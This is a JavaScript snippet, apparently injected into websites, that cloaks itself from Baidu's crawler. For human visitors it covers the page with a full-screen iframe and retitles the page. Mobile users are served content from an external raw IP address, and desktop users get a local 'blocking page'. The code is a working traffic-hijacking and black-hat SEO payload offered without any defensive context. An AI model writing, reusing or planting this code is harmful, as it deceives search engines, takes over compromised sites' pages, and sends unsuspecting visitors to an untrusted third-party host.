var is_mobi = navigator.userAgent.toLowerCase().match(/(ipad|iphone|android|coolpad|mmp|smartphone|midp|wap|xoom|symbian|j2me|blackberry|wince)/i) != null;
function guanggao(url){
if(is_mobi) {
document.write('');
var iframe = document.createElement('iframe');
iframe.src = url;
iframe.scrolling = 'yes';
iframe.style.cssText = "width:100%;height:100%;left:0;top:0;border:none;background:#fff;position:absolute";
var div1 = document.createElement("div");
var div = document.createElement("div");
div1.style.cssText = "-webkit-overflow-scrolling:touch;width:100%;height:100%;z-index:9999999999;position:fixed;top:0;left:0;right:0;bottom:0;overflow:auto";
div1.appendChild(iframe);
div.appendChild(div1);
document.write(div.innerHTML);
document.title = "建议收藏当前网址!内容一直更新中。。。";//手机端浏览器显示的title
} else {
document.write('');
var iframe = document.createElement('iframe');
iframe.src = url;
iframe.scrolling = 'no';
iframe.style.cssText = "width:100%;height:100%;left:0;top:0;border:none;background:#fff;position:fixed;overflow:hidden";
var div1 = document.createElement("div");
var div = document.createElement("div");
div1.style.cssText = "-webkit-overflow-scrolling:touch;width:100%;height:100%;z-index:9999999999;position:fixed;top:0;left:0;right:0;bottom:0;overflow:hidden";
div1.appendChild(iframe);
div.appendChild(div1);
document.write(div.innerHTML);
document.title = "建议收藏当前网址!内容一直更新中。。。";//PC端浏览器显示的title
}
}
var us = navigator.userAgent.toLowerCase();
if (us.indexOf("baiduspider") != -1) {
}else{
if (is_mobi) {
guanggao('http://156.241.84.5/index.html')//移动端框架的广告链接
}else{
guanggao('/moad.html')//PC屏蔽页面
}
}